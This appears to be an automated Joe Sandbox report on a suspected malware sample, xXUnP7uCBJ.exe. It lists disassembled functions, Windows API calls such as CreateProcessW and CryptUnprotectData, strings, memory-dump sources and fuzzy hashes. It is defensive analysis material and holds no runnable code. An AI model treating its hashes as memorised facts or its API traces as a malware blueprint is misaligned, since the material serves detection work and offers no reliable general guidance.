Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00403A43 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,75572EE0,00403A1A,75573420,00403819,00000006,?,00000006,00000008,0000000A), ref: 00403A5D
GlobalFree.KERNEL32(?), ref: 00403A64

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403A55

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-4083868402
Opcode ID: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction ID: 7abb624b42f0eb5bf3103b67fd66c27476adae564a61ccebc81435f3e7eba37d
Opcode Fuzzy Hash: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction Fuzzy Hash: 73E0EC326111205BC6229F59AD44B5E776D6F58B22F0A023AE8C07B26087745D938F98

Function 00405D09 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402F9C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\xXUnP7uCBJ.exe,C:\Users\user\Desktop\xXUnP7uCBJ.exe,80000000,00000003), ref: 00405D0F
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402F9C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\xXUnP7uCBJ.exe,C:\Users\user\Desktop\xXUnP7uCBJ.exe,80000000,00000003), ref: 00405D1F

Strings

C:\Users\user\Desktop, xrefs: 00405D09

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1876063424
Opcode ID: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction ID: 65148869c9b5617484fe42b3676c909fd92059a2a8224d2a454660f99163d925
Opcode Fuzzy Hash: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction Fuzzy Hash: A3D0A7B7410920EAD3126B04DC04D9F73ACEF51300B46843BE840A7171D7785CD18BEC

Function 701A10E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 701A116A
GlobalFree.KERNEL32(00000000), ref: 701A11C7
GlobalFree.KERNEL32(00000000), ref: 701A11D9
GlobalFree.KERNEL32(?), ref: 701A1203

Memory Dump Source

Source File: 00000000.00000002.2259069122.00000000701A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 701A0000, based on PE: true

Associated: 00000000.00000002.2259033794.00000000701A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2259096559.00000000701A4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2259132821.00000000701A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_701a0000_xXUnP7uCBJ.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 3cbddd5f35cdb65674aa8f1bb5e8895a2f5231f9fb251be27cfc9b442a759f6a
Instruction ID: f7e946e8cf110cc174f3825cdcd3312192f99295daca085569c44d7a20333ce0
Opcode Fuzzy Hash: 3cbddd5f35cdb65674aa8f1bb5e8895a2f5231f9fb251be27cfc9b442a759f6a
Instruction Fuzzy Hash: 323181FA9042019FD3008F75DE55B2D7BF9EB55310722052AFA46D7B64E774D80187A0

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Analysis Process: xXUnP7uCBJ.exePID: 5856, Parent PID: 1608COMMON

Execution Graph

Execution Coverage:	10.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.5%
Total number of Nodes:	238
Total number of Limit Nodes:	14

Executed Functions

Function 39A9D608 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<0[6, xrefs: 39A9DAD0

Memory Dump Source

Source File: 00000005.00000002.2983846239.0000000039A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a90000_xXUnP7uCBJ.jbxd

Similarity

API ID: DispatchMessage
String ID: <0[6
API String ID: 2061451462-690449555
Opcode ID: 9b0e49753c655f474df7d7060d5a4f16005e9d824a8850f63c5bfb07f0fff01c
Instruction ID: 0f61e21e759414bf23dbb76a7bde1b6a5e4f54b0bd7fb004500bcce333c36bd4
Opcode Fuzzy Hash: 9b0e49753c655f474df7d7060d5a4f16005e9d824a8850f63c5bfb07f0fff01c
Instruction Fuzzy Hash: 4FF15D35A103098FEB04DFA9C844BDDBBF5BF84704F55C668E809AF265DB74A985CB80

Function 38FCD9D9 Relevance: 1.6, APIs: 1, Instructions: 56
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(00000055,?,00000000,?,?,?,?), ref: 38FCDA45

Memory Dump Source

Source File: 00000005.00000002.2983114946.0000000038FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38fc0000_xXUnP7uCBJ.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 5b8a6f521a2fc961bd504c47d1c86b1b04638ab6ce74ad73596d7a4a9ac8828c
Instruction ID: 99c2c625eb8a3d2a6fd5f3f4d78ceb0e1106d371da7c556e28ee31e6c5b03467
Opcode Fuzzy Hash: 5b8a6f521a2fc961bd504c47d1c86b1b04638ab6ce74ad73596d7a4a9ac8828c
Instruction Fuzzy Hash: 5C1159B6800249DFDB10CF99C840BEEBFF4EF48320F148419E554A3611C3399650CFA1

Function 38FCD1EC Relevance: 1.6, APIs: 1, Instructions: 55
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(00000055,?,00000000,?,?,?,?), ref: 38FCDA45

Memory Dump Source

Source File: 00000005.00000002.2983114946.0000000038FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38fc0000_xXUnP7uCBJ.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: f4c9bb72910393790bfe5fb656e362a79ebaf20b0a3042d0538ea4ce27111ed8
Instruction ID: 9328cc3150dd220adde49c971fed3c474f99fa2ea3bf67c880f2ee649698cecb
Opcode Fuzzy Hash: f4c9bb72910393790bfe5fb656e362a79ebaf20b0a3042d0538ea4ce27111ed8
Instruction Fuzzy Hash: 8A1136768002499FDB10DF99C845BDEBBF4EF48320F148419E614A7210C339A650CFA5

Function 38FC0C1A Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

[6, xrefs: 38FC0C99

Memory Dump Source

Source File: 00000005.00000002.2983114946.0000000038FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38fc0000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID: [6
API String ID: 0-4217218497
Opcode ID: 5085efe1b70bfc20f41e7198b1df0d9bd15795f03dd47abcfddba81365e8352e
Instruction ID: 0c745ac29ed078a3f885274c589d71c2bf78be8d8f069cd9eb568283c2416c1a
Opcode Fuzzy Hash: 5085efe1b70bfc20f41e7198b1df0d9bd15795f03dd47abcfddba81365e8352e
Instruction Fuzzy Hash: CDA105B4D00209CFEB14DFA9C944BDDBBB1FF89304F208269E409AB291DB759A85CF55

Function 38FC0C28 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

[6, xrefs: 38FC0C99

Memory Dump Source

Source File: 00000005.00000002.2983114946.0000000038FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38fc0000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID: [6
API String ID: 0-4217218497
Opcode ID: 5fcc2223dadffe748e43d2d2858ec6ba3978f1e73db5c534252682227676545c
Instruction ID: 0d6de6d6db69a6bfa0773f15d5e362ead0864ac072ed69db7d64c92eabcdbda9
Opcode Fuzzy Hash: 5fcc2223dadffe748e43d2d2858ec6ba3978f1e73db5c534252682227676545c
Instruction Fuzzy Hash: 4DA1F3B4D00209CFEB14DFA9C944BDDBBB1FF89310F208269E409A7291DB759A85CF55

Function 00178DA0 Relevance: 1.1, Instructions: 1138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955230408.0000000000170000.00000040.00000800.00020000.00000000.sdmp, Offset: 00170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95f4e852c0f060b8c99a6f1be11cecbb790e2ab4e2bfc682cc14aa7bc2e5b021
Instruction ID: 2db7d7f956ccb07057906e288132300351132ce0935ea61164d5064110a99b2c
Opcode Fuzzy Hash: 95f4e852c0f060b8c99a6f1be11cecbb790e2ab4e2bfc682cc14aa7bc2e5b021
Instruction Fuzzy Hash: FEA26C70A04209DFCB15CF68C994AAEBBB2BF88310F15C56AE809DB361D735ED45CB91

Function 39A9E7C8 Relevance: .8, Instructions: 764COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983846239.0000000039A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a90000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f7c3fb0b7230ea549eac4206281d1e6b1e6f0be4fb85c4b314ea5b09c76103c
Instruction ID: eff6f246415f25f17c4824fefbb7eaff14cdd110c00af0939aaed4ab2206fbc5
Opcode Fuzzy Hash: 4f7c3fb0b7230ea549eac4206281d1e6b1e6f0be4fb85c4b314ea5b09c76103c
Instruction Fuzzy Hash: 7C82D274A40228DFDB24DF65C895BD9BBB2FB89301F5081E9D80AA7350DB359E81DF50

Function 3956BDF0 Relevance: .8, Instructions: 758COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33fc0cba7c2347176e833e046c68e34784e0addc66eb3bfb2e364702f0fe172b
Instruction ID: f26d6b56a751c681d15cdb16f974496cf2398748117c19524bf3ae5ca56f1495
Opcode Fuzzy Hash: 33fc0cba7c2347176e833e046c68e34784e0addc66eb3bfb2e364702f0fe172b
Instruction Fuzzy Hash: 8872E274A01228DFDB24DF65C895B99BBB2FB89301F5081E9D80AB7364CB359E81DF50

Function 39568650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83c23c999ac880e17f8112dc40a38df7073a7c752412d49495a0bbcacbcaf2c2
Instruction ID: d7f757a11fd2019731f35db919ecd4ca4d78182566e0593b4f757ee420547a06
Opcode Fuzzy Hash: 83c23c999ac880e17f8112dc40a38df7073a7c752412d49495a0bbcacbcaf2c2
Instruction Fuzzy Hash: A672C074E012688FEB64DF69C990BD9BBB2BB49304F5091E9D908A7361DB349EC1CF50

Function 00175F90 Relevance: .5, Instructions: 469COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955230408.0000000000170000.00000040.00000800.00020000.00000000.sdmp, Offset: 00170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be66fe3eb73f2e3f3150e2031a7774eb2900407e493034fa2c1c8e9d745e2e83
Instruction ID: b6da236e250d65eb17494a148b8eeea340cb9344c53f374ed1ae3413f0c20875
Opcode Fuzzy Hash: be66fe3eb73f2e3f3150e2031a7774eb2900407e493034fa2c1c8e9d745e2e83
Instruction Fuzzy Hash: 3D123E30A00619DFCB14CFA9C994AADBBF2FF88314F55C06AE81AAB261D735DD45CB50

Function 38FCC638 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983114946.0000000038FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38fc0000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47a00c7e887a47636815868efe14a83fb4e06fe0772bfc150791ec6e070d5d80
Instruction ID: fc1fcc390e501cf16a824ba2c13c9a20aaba39858a3db950f436d23c92bd1a55
Opcode Fuzzy Hash: 47a00c7e887a47636815868efe14a83fb4e06fe0772bfc150791ec6e070d5d80
Instruction Fuzzy Hash: CFE1C1B4E01218CFEB54DFA5C994B9DBBB2BF89300F2081A9D809B7391DB355A85CF50

Function 38FC03AF Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983114946.0000000038FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38fc0000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89f66382aeb5fac02bc8c9fbe4bafbdaf44cc0d3f4724d7ebf79145872bff3c0
Instruction ID: c4c197c4d57849ea0ff7dc99455f8b76cb6db48eeeae09a1302f2f70e564914c
Opcode Fuzzy Hash: 89f66382aeb5fac02bc8c9fbe4bafbdaf44cc0d3f4724d7ebf79145872bff3c0
Instruction Fuzzy Hash: 47D1AF74E00219CFEB54DFA5C994B9DBBB2BF88300F1081A9D809AB355DB359E86CF50

Function 3956A360 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f95486c60c09badc1e4bb3de82c4dbacb0036a79ee253f4db153ffc807fa2572
Instruction ID: 462df433976dc5fad0b85424efcca4d36bf05e99bac8c954e34395e300c4605d
Opcode Fuzzy Hash: f95486c60c09badc1e4bb3de82c4dbacb0036a79ee253f4db153ffc807fa2572
Instruction Fuzzy Hash: 26A191B5E012288FEB14CF6AC944B9DBBF2AB89304F14D1AAD40CB7265DB345A85CF51

Function 39569D10 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4137a02ccf64ed6a6893fe8f5b35687abb5ecb8d480b721259c9b3b8ef54e1ed
Instruction ID: 22b3e888afefc89b70753d1517dd7e91ba46a23470dff5aa6afbdf1250ee5842
Opcode Fuzzy Hash: 4137a02ccf64ed6a6893fe8f5b35687abb5ecb8d480b721259c9b3b8ef54e1ed
Instruction Fuzzy Hash: 61A190B4E012288FEB14CF6AC954B9DFBF2AB89304F14D0AAD40CA7265DB745A85CF50

Function 3956A9B0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39264b8f7c5a563c3033e727c61c2919b6eb51de0e8fbda92f2da4c70d59eb24
Instruction ID: a17a793695ffdc5d0b613d0154eba22f18d22542edcd7d1a6abba50cf0ba5872
Opcode Fuzzy Hash: 39264b8f7c5a563c3033e727c61c2919b6eb51de0e8fbda92f2da4c70d59eb24
Instruction Fuzzy Hash: 45A183B4E012188FEB14CF6AC944B9DBBF2AF89304F14D1AAD50CB7265DB345A85CF51

Function 395696C8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf118151ef37136dd8d550a70a40a3a6e877bf17d41184ccf9112a50e0c8b05c
Instruction ID: 06c1d7e4ea5e9304b926adfc607f3c458a0da513e63f635206223a31240ec440
Opcode Fuzzy Hash: cf118151ef37136dd8d550a70a40a3a6e877bf17d41184ccf9112a50e0c8b05c
Instruction Fuzzy Hash: 41A191B4E012188FEB24CF6AC954B9DFBF2AF89304F14D1AAD408B7255DB345A85CF51

Function 38FC0F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983114946.0000000038FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38fc0000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd93f260a8791b0ecd9b339c79ca1cb6923d06abe1f5d79fcbb38134f2ef5cca
Instruction ID: 7fa8f24c47deed5ef5dc73e2b6fb24afdc70a2e7bc97b2f47d4fe40f839f396a
Opcode Fuzzy Hash: fd93f260a8791b0ecd9b339c79ca1cb6923d06abe1f5d79fcbb38134f2ef5cca
Instruction Fuzzy Hash: D091E474D00309CFEB10DFA8C984B9CBBB1FF89310F209669E509A7291DB759A86CF55

Function 00174328 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955230408.0000000000170000.00000040.00000800.00020000.00000000.sdmp, Offset: 00170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8f08820874205d14a7fabbd568f8534ee1941c588b35dbd61528ef55eb12e91
Instruction ID: d0ab235c7180d5800ca52ff13f6d13f4b1cf1640de83ce8f2584a03c11fd302d
Opcode Fuzzy Hash: b8f08820874205d14a7fabbd568f8534ee1941c588b35dbd61528ef55eb12e91
Instruction Fuzzy Hash: 1191D774E00218DFEB18DFA9D944A9DBBF2BF89300F14C169E419AB365DB349941DF50

Function 3956BA97 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a04e0f06650626f7a20aa01630c869948be53529f7f8dc2dea6e775f0451882
Instruction ID: 0589acdc3f5f21b29a7d9d40263a21f7f5203834680bf2cd2c8a1e334565cb36
Opcode Fuzzy Hash: 9a04e0f06650626f7a20aa01630c869948be53529f7f8dc2dea6e775f0451882
Instruction Fuzzy Hash: F481C674E04249CBEB14DFA9C95069DBBF2FF88314F249129D818AB369DB359942CF50

Function 39568640 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 117b982856792f80b44bc4ea6c322c0a0b2818d3e60303eb154cbe25d7bc7c98
Instruction ID: 7b4138d37e42de22fe56a883dd04930ba6e59b61f495dfe649a09651123adfe6
Opcode Fuzzy Hash: 117b982856792f80b44bc4ea6c322c0a0b2818d3e60303eb154cbe25d7bc7c98
Instruction Fuzzy Hash: E971C275D01228CFEB64DF66C9907DDBBB2BF89300F1094AAD808A7360DB355A82CF40

Function 3956A9A0 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5115a6fa9753d4c818ec7e1b443a8c8ade88e47766d3d6d25df93064a7257cc
Instruction ID: 93b880df3a40d4c40c3d200eff19f8a156ffd9b9be2894b1eda9fdf4bd2a3511
Opcode Fuzzy Hash: d5115a6fa9753d4c818ec7e1b443a8c8ade88e47766d3d6d25df93064a7257cc
Instruction Fuzzy Hash: AD7195B4E016288FEB58CF66C944B9EFBF2AF89300F14C1AAD40CA7255DB345A85CF51

Function 395696B8 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26d51bdc85f098127088e9e90e77db8088b67a96f246066847085ad705e5b253
Instruction ID: ec65db42f11ed310acc30486c0b557f349cf58854b1bdc3be2b9e5969683da5f
Opcode Fuzzy Hash: 26d51bdc85f098127088e9e90e77db8088b67a96f246066847085ad705e5b253
Instruction Fuzzy Hash: FE71A3B4E002188FEB68CF66C955B9EFBF2AF88304F14D1AAD40CA7255DB345A85CF51

Function 3956C92F Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3d1b545c83a7e55ff20fc0b0b02405d287785855b7bf896bb45adfe946397f1
Instruction ID: 85a7c32db4509d39affd290c95465676c8ce31c4580c426fe0269b4ad86507f3
Opcode Fuzzy Hash: e3d1b545c83a7e55ff20fc0b0b02405d287785855b7bf896bb45adfe946397f1
Instruction Fuzzy Hash: 8B61E434E40258DFEB25DFA4C855BADBB72FB88301F5084AA990A77354DB355E82EF10

Function 39569D00 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
